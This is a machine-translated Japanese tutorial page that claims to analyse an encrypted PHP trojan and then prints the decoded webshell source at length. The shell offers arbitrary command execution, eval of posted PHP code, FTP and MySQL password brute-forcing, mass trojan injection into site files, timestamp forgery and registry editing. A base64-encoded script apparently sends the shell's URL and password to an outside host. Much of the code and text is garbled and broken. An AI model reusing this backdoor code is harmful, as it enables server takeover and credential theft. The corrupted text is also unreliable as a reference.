ホームページ >バックエンド開発 >PHPチュートリアル >暗号化クラッキング PHP トロイの木馬分析 暗号化クラッキング

暗号化クラッキング PHP トロイの木馬分析 暗号化クラッキング

WBOY
WBOYオリジナル
2016-07-29 08:39:4911808ブラウズ

分析の結果、このトロイの木馬はbase64でエンコードされ、圧縮されていることがわかりました。関連する機密保持措置が講じられていますが、PHP コードは実行する必要があり、最終的に PHP ソース コードが生成されるため、デコード、解凍してファイルに書き込むために次の PHP プログラムが作成されます。
デコードと解凍のコードは次のとおりです:

コードをコピーします コードは次のとおりです:


function writetofile($filename, $data)
{ //ファイルの書き込み
$ filenum=@fopen($filename ,"w");
if (!$filenum) {
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data); fclose($filenum);
return true;
}
?>


次に、php 環境で実行すると、次のように php プレーンテキスト ファイルが得られます。以下に続きます:


error_reporting(7);
$mtime =explode(' ', microtime());
@set_time_limit(0); //非セーフ モードでは上記の関数を使用し、タイムアウト後にキャンセルできます。
/*====================== プログラム構成=====================*/
// パスワードの検証が必要かどうか。1 は検証が必要であることを意味し、その他の数字は直接入力を意味します。
$admin['check'] = "1";
// パスワードの検証が必要な場合は変更してください。ログインパスワード
// デフォルトのポートテーブル
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//ジャンプ秒数
$admin ['jumpsecond '] = "1";
//FTPクラッキング用の接続ポート
$alexa = "yes";
//Alexaランキングを表示するかどうか、yesまたはno
$admin['ftpport'] = " 21";
// phpspy 自体が編集したファイルの時刻を作成時刻に自動的に変更することを許可するかどうか (はい/いいえ)
$retime = "no";
// cmd.exe のデフォルトの場所。 proc_open 関数を使用するため、Linux システムに合わせて変更してください。(winnt システムがプログラム内で指定できることを前提としています)
$cmd = "cmd.exe"
// 以下は phpspy によって表示される著作権欄です。 、多くのプログラムによってキーワードとみなされ、強制終了されるため、ゆはん〜〜カスタマイズを許可します。まだ理解できない場合は変更しないでください~~
/*===================== 設定の終了 ========= ======== ====*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass']; base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkU lNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9')
$copyurl =base64_decode('Jz48L3Njcmlwd) D4=');
$onoff = (function_exists('ini_get')) ?ini_get('register_globals') : get_cfg_var('register_globals'); $onoff != 1) {@extract ($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions"); *======== ============= 認証=====================*/
if($ admin['check'] == "1") {if ($_GET['action'] == "ログアウト") {setcookie ("adminpass", "");echo "ログアウトに成功しました...

>>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim ($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600) );echo "< ;meta http-equiv="refresh" c "".$copyurl.$serveru."&p=".$serverp.$copyurl."";exit;}}if (isset ($_COOKIE[' adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*== ===== ============== 検証終了=====================*/
// magic_quotes_gpc ステータスを決定する
if (get_magic_quotes_gpc( ; Rl0y3Bb/cIkumnVixOIE/cMMF+ePxW1Ixah1yLBwe+5aHMa5JcsWs+T5JE+f9 /m+z/u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYV) Vzkamnq+r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1/Fzb2+DnZGWos ZSV1lav+mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHarJKTM0jxCCAVBekQbmE0iMaOGlDqm iueh iZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0lygy83SbY CPlcExGmncH0FjMNkTryVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU 2PF TJ1nCRGM4kqdNyAsKCr+eitLKE9AXui/+cXt0wt+26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD6zWH SOa3sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm+9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItS Z M0QS1RdknumblesENSV6YcvqSxdEKJpvCuCfAtMyj4lC+KpltWyxviT+t7vpXT5kM3clqq+snA p3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3 Yq UZUOdquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3+y CZxxU UF8ikY6GEwlCTLMrSgNLxaiQugOVjjM+ndetBfKM4rGLoBR+gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnXXSGKR1vTo3VuOd4MpREunGykKqTkwjMRC4BQRAEQRAEQRAE+S+YZCL+ Eph TYINGl8GuRfVGQprjwGaBKfHHzB9r98EYno/J1mnaURgrXwY0T9OSU8h975b/6f7FBUbrQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw+ 7cQ Mh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ+k3BhpTIbwRiolYCsR2sHqyMIiQPT HkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4a NU 0L5op/TgenDEUlGW5vkySpJ6JJZ+Co8+201e8i+ izrfRyengPPfLBpY5q+peDHeX0dy3dwkD/c foTGL8Z2u6vXjbS6j+WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nXXS6OElrqKKUraFeyd Tv9aqjD3zACGyVb204MOPq5Hnq5Io0pkv sHujbk81NdTzSVB4DQjlCno7+WXk717qR691C9Z2XLhS937Eg87wsMdJvVjEAgsX+PpXP81oR0IuDob7B81ClJn1nOd/0sSTtCvv4 +R78NjIM5d7d58ZPmq2XHTwz0OVb1+I 1Nb3WbSxs6HQ7H+fBIIDg6PjgxEQwPD0vfB8NjI2FF gWhQOnfp+sjJG6BNSGdGxybOXL8THATEHJSuDe891r1X6u8b7BsdvxkeGZTGR2/fDo+PSOO/j g6Hh1VRIqSkpGT+ MwzPNbidPNfI2Jh GgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX+D/3x9PfTQ+l30jVsIpvMMqyBfZ59iX2FLWTXsdVsHSuwm9j32Fa2k93HHmKPsJfZUTbf6DI2GbcaH/YlIAiCIAiCIA iCIAjy1/wO";
関数シェル($command){
グローバル $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]= array('pipe','r');$dep[]=array( 'pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ ob_start();passthru($command);$exec=@ob_get_contents(); @ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')) {$tmp = @ob_get_contents();system($command) ) ; $output = @ob_get_contents(); @ob_clean(); }
elseif(is_callable('exec') && !strstr($command,$)出力);$output = join("n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec( $command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output )){$exec= fgets($output);}pclose($output) ;}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]);出力.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get(' Upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents( $name);unlink($name);}
return $exec;
}
// PHPINFO を表示
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo ",$dis_func)) ? phpinfo() : "phpinfo() 関数が無効になっています。を確認してください。";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "ホストに異常があり、現在のユーザー名を取得できません!"
echo "現在のプロセス ユーザー名: $user";
終了;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]");終了
}
if($action= ="mysqldown" ; "selectload_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "読み込みに失敗しました、おそらくファイルが存在しないか、ファイル権限がありません。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = Basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file ();
$filename = ".$filename.".rar";
$code = $row[0];
header("Content-type: application/octet-ストリーム");
header("Accept-Range: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=$filename"); code);
exit;
}
}
}
// 在中プロキシ
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "


URL コンテンツ紛失< /b>

";exit;
}
// ダウンロード文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename =basename($downfile);$filename_info =explode('.', $filename) ;$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition:attachment; filename='.$filename.' ');header('Content-Description: PHP 生成データ');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 直接ダウンロード备份データベース库
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) または die("データベース库连接失败");
@mysql_select_db($dbname) または die("选择データベース库失败");    
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables");
エコー ($result) ? NULL : "出错: ".mysql_error();
$filename = ベース名($_SERVER['HTTP_HOST']."_MySQL.sql");
header('Content-type: application/unknown');
header('Content-Disposition:attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."rn";
}
}
mysql_close();
終了します。
}
// 程序目录
$pathname=str_replace('\','/',dirname(__FILE__));
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]);
// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}
// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : "";
$tb = 新しいフォーム;
?>


body,td{font-size: 12px;background-color:#000000;color:#eee;
マージン: 1px;マージン左:1px;
スクロールバー-フェイス-カラー: #232323;スクロールバーのハイライト色: #232323;
スクロールバー-シャドウ-カラー: #383838;スクロールバー-ダークシャドウ-カラー: #383838;
スクロールバー-3Dライト-カラー: #232323;スクロールバーの矢印の色: #FFFFFF;
SCROLLBAR-TRACK-COLOR: #383838;}
a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}
.smlfont {
font-family: "Verdana "、"タホマ"、"宋体";
フォントサイズ: "11px";
}
.INPUT {
FONT-SIZE: "12px";
色: "#000000";
背景色: "#FFFFFF";
高さ: "18px";
ボーダー: "1px ソリッド #666666";
padding-left: "2px";
}
.redfont {COLOR: "#CA0000";}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secalt {BACKGROUND-COLOR: "# F5F5F5"}
"; ->tableheader();
$tb->formheader($action,'馬のバッチマウント')
$tb->tdbody('Web サイトの馬の馬マウントプログラムのバージョン','center'); $tb->tdbody('ファイルの場所: '.$tb->makeinput('dir',' '.$_SERVER["DOCUMENT_ROOT"].'','','text','60'). '
コードをハングするには:'.$tb->maketextarea('mm',$gm, '50','5').''.$tb->makehidden('do','馬のバッチマウント').'
'.$tb->makeinput('submit','Start Hang horse','','submit'),'center','1','35') ;
echo "";
$tb->tablefooter();
}//end plgm
// クローン時間
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません! ";}} Else {
if (! @File_exists ($ _ post ['tarfile']) ) {
echo" 参照するファイルが存在しません! ";
echo (@touch($_POST['curfile'],$time,$time)) ? '])." 変更時刻が ".date(" Y-m-d H:i:s",$time) に変更されました。" !" : "ファイルの変更時刻を変更できませんでした!"; 'modmytime') {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません!" ;else {$ year = $ _ $ m ['minute'] {"$ data $ year $ hour:$ minut ( $_POST['curfile'])." 変更時刻が ".date("Y-m-d H:i:s",$time) に変更されました。" !" : "ファイルの変更時刻に失敗しました!";
}
}
}
elseif($do =='port'){
$tmp =explode(",",$port)
for($i=$first); ; $ i&lt; $ count; $ i ++){
ポートを開きました。$ tmp [$ i]。 "&lt; br&gt;";何を書いたのかさえ分かりません。
幸いなことに、それは機能するので、誰かがそれを見ても、私はそれを書き直すだけです。 */
elseif ($do == 'crack') {//とりあえずグローバル変数として登録します。
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
$onetime = $count; $turn ="1";
$nowturn = if ($turn & gt; $ tt or $ onetime & gt; $ count) {
echo "が辞書の容量を超えている ~ 最終プロセスをクラックしている場合、申し訳ありませんが、失敗。";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i++){
{ if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp [$i]));
if($sa)
{
$t = "获取".$user."の秘密コードは".$tmp[$i].""; }
}
if(! $t){
echo " mysql_close( );
}
// 备份操作
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype']) ) {
echo "请选择欲备份のデータ表と备份方式!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($server)名前,$dbユーザー名,$ dbpassword) または die("データベース库连接失败");
@mysql_select_db($dbname) または die("选择データベース库失败");    
$table = array_flip($_POST['table']);
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
エコー ($result) ? NULL : "出错: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable( $currow[0]、$filehandle);
fwrite($filehandle,"nnn");
}
}
fclose($filehandle);
echo "数据成功备份到
".$path."";
mysql_close();
} else {
echo "备份失败,请确认目标文件夹是否有可写权限!";
}

}
}
elseif($downrar) {
if (!empty($dl)) {
if(eregi("unzipto:",$localfile)){
$path = "".$dir."/".str_replace(" unzipto:","",$localfile)."";
$zip = 新しい Zip;
$zipfile=$dir."/".$dl[0];
$array=$zip->get_list($ zipfile); $ count($ array); path."成功しました
($f ファイル $d ディレクトリ)";
elseif($f==0) echo " $ dl [0] を ". $ PATH." に解凍します。" 失敗しました。" $ dl [0] ボタンを外して完了 & lt; $zipfile=""
$k=0;isset($dl[$k]);$k++)
$zipfile=$dir."/".$dl [$k];
for($i=0;$zipfilearray[$i];$ i++)
$fp=@fopen($dir."/" 。 $filename,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
dl[$k]; $filesize=@filesize($zipfile); p,$filesize ) );
@fclose($fp);
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."";
if(empty($localfile)){
header("Content-type: application/octet-stream");
header("Accept-Ranges: バイト");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
echo $code;
終了します。
}else{
$fp = @fopen("".$dir."/".$localfile."","w");
echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "ディレクトリ".$dir."書き込み権限がありません!";
@fclose($fp); }
// Shell.Application はプログラム
elseif(($_POST['do'] == 'programrun) を実行します') AND !empty($_POST['program'])) {
$shell= &new COM('Sh' .'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') : "プログラムは正常に実行されました!" to run!";
}
// PHP 設定パラメータのステータスを表示
elseif(($_POST['do'] == 'viewphpvar ') AND !empty($_POST['phpvarname'])) {
echo "構成パラメータ".$_POST['phpvarname']." 検出結果: ".getphpcfg($_POST['phpvarname'])."" ;
}
// レジストリを読み取ります
elseif(($regread) AND ! empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh '.'ell')
var_dump(@$shell->RegRead($) _POST['readregname']));
}
// レジストリに書き込みます
elseif(($regwrite) AND !empty($_POST ['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
$a = @$shell->RegWrite ($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a =='0') : "レジストリ キー値の書き込みに成功しました!" .$_POST['regname'].", ".$_POST['regval'].", ".$_POST[ 'regtype']." 失敗しました!"
}
// レジストリを削除します
elseif(( $regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'. 'cri'.'pt.S'.'he'.'ll'); = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0' ) : "「.$_POST['delregname'] を削除しました。」 " 失敗しました!";
}
else {
echo "$notice";
echo "プログラム | プログラムの開始 a href="" "?dir=C:/Documents%20and%20Settings/All%20Users">AllUsers Serv-U | ";
for ($i=66;$ i<=90;$i++){$drive= chr($i).':'; is_dir($drive."/")){$vol=shelL("vol $drive");if( empty($vol))$vol=$drive;echo " $drive\ ";}
}
}
echo "

n";
/*===================== 実行操作结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$tb->tableheader( );
?>

文件
创建日期
最終修正

プロパティ
操作


// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="1"){
if($file!=".." && $file!=".") {
$ctime=@date("Y-m-d H:i:s",@ filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo "n";
echo " [$file]n ";
echo " $ctimen";
echo " $mtimen";
echo " 検索 n";
echo " $dirpermn";
echo " | 删除 | 変更名 |n";
echo "n";
$dir_i++;
} else {
if($file=="..")
{エコー「n」 ;
echo " 返上级目录n";
echo "n";


} }
}// while
@closedir($dirs);
?>




// 文件列表
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath))."";
$mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "n";
echo " ";
echo "";
echo "$filen";
echo " $ctimen";
echo " $mtimen";
echo " $size KBn";
echo " $filepermn";
echo " 下ダウンロード | 编辑 " href="""#" $file 文件吗?','2')">删除 | 変更名 | 時間 echo "n";
$file_i++;
}
}// while
@closedir($dirs);
if(get_cfg_var('safemode'))$z = "< a href="" href="""#" title="使用说明" /a>";
else $z = "";
$tb->tdbody('< td>'.$tb->makeinput('chkall','on',' name="change" value="yes" /".$nowfile);
$tb->makehidden('dir',$ dir);
$tb->tdbody('現在の文名: '.basename($nowfile));
$tb->tdbody('変更名: '.$tb->makeinput('newname') );
$tb->makehidden('do','rename')
$tb->formfooter('1','30');//名前変更の終了
elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir)."";
$tb->tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'执行phpスクリプト');
$tb->tdbody($tb->maketextarea('phpcode',$contents));
$tb->formfooter('1','30');
}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'修正文件プロパティ');
$tb->tdbody('修正 '.$file.' のプロパティ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file), 10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm
elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir);
$cachemonth = array('1 月'=>1,'2 月'=>2,'3 月'=>3,'4 月'=>4,'5 月'=>5,'6 月'= >6,'7月'=>7,'8月'=>8,'9月'=>9,'10月'=>10,'11月'=>11,'12月'=> 12);
$tb->tableheader();
$tb->formheader($action,'克隆文件最終修正時間');
$tb->tdbody("修正文例: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文例: ".$tb->makeinput('tarfile' ,'必要完整路径及び文件名'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,'自定文件最終修正時間');
$tb->tdbody('
  • 有能期間间戳典型范围是从格林威治期間间 1901年12月13日星期五20:45:54から2038年1月19 日星期二 03:14:07
    (この日期は 32 位の記号整数の最小値と最大値により来ます)

  • 説明: 日取 01 から 30 の間、時間取0 から 24 の間、分秒取 0 から 60 の間!
','left');
$tb->tdbody('当前の文件名: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('修正: '.$tb->makeinput('year','1984','','text','4').' 年 '.$tb-> Makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'10月')).' 月 '.$tb->makeinput('data', '18','','text','2').' 日 '.$tb->makeinput('hour','20','','text','2').' .$tb->makeinput('分','00','','text','2').' 分 '.$tb->makeinput('秒','00','', 'テキスト','2').'秒','センター','2','30');
$tb->makehidden('do','modmytime');
$tb->formfooter('1','30');
}//end newtime
elseif ($_GET['action'] == "shell") {
$action = "??action=shell&dir=".urlencode($dir);
$tb->tableheader();
$tb->tdheader('WebShell モード');
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) ? $_POST['プログラム'] : "c:winntsystem32cmd.exe";
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
echo "n";
$tb->tdbody('無回显运行程序 → 文件: '.$tb->makeinput('program',$program).' パラメータ: '.$tb->makeinput('prog', $prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35 ');
$tb->makehidden('do','programrun');
echo "n";
}
echo "n";
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
$tb->tdbody('ヒント: 出力結果が不完全な場合は、出力結果をファイルに書き込むことをお勧めします。これにより、完全な内容を取得できます。') ;
$tb->tdbody ('proc_open 関数がデフォルトの winnt システムではない場合は、自分で設定して使用してください。自分で変更する場合は、必ず書いて終了してください。そうしないと、未完了のプロセスが残ります。 ');
$tb->tdbody('proc_open 関数を使用する必要があります。cmd プログラムの場所: '.$tb->makeinput('cmd',$cmd,'','text' ,'30').'(Linux システムの場合は、自分で変更する必要があります)');
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? >'system','passthru'=>'passthru','exec'=>'exec ','shell_exec'=>'shell_exec','popen'=>'popen','wscript'= >'Wscript.Shell','proc_open'=>'proc_open') : array('system' =>'system','passthru'=>'passthru','exec'=>'exec' ,'shell_exec'=>'shell_exec','popen'=>'popen','proc_open' =>'proc_open');
$tb->tdbody('実行関数の選択: '.$tb- >makeselect(array('name'=>'execfunc','option'=>$execfuncs ,'selected'=>$execfunc)).' 入力コマンド: '.$tb->makeinput(' command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit')); ?>
<テキストエリア名= "テキストエリア"cols="100" rows="25" readonly> if (!empty($ _POST['コマンド'])) {
if ($execfunc=="システム") {
システム( $_POST['コマンド']); ult = exec($_POST['コマンド' ]);
エコー $結果; エコー $result; pclose($pp);
} elseif ($execfunc=="wscript") {
を使用して使用して使用して使用して使用して使用して使用して‐ ‐ } elseif ‐ } elseif ($ execfunc=="wscript") ("PHP COM WSHSHELL の作成に失敗しました");
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']. "");
$stdout = $ exec-& gt;
$ Stroutput = $ Stdout-& GT; 配列 (
0 = > "),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("".$_POST[' cmd']."", $descriptorspec, $pipes);
if (is_resource($process)) {
// コマンドを書き込みます
fwrite($pipes[0], "" .$_POST['command']." rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
// 出力を読み取る
while (!feof( $pipes[1])) {
echo fgets ($pipes[1], 1024);
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets ($ Pipes [2],
); }
fclose ($ パイプ [2]);
Proc_Close ($ プロセス)
}} Else {
システム ($ _ Post ['コマンド']) }
?>

上記は、暗号化クラッキングの内容を含め、暗号化クラッキング PHP トロイの木馬の分析と暗号化クラッキングを紹介しました。PHP チュートリアルに興味のある友人に役立つことを願っています。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。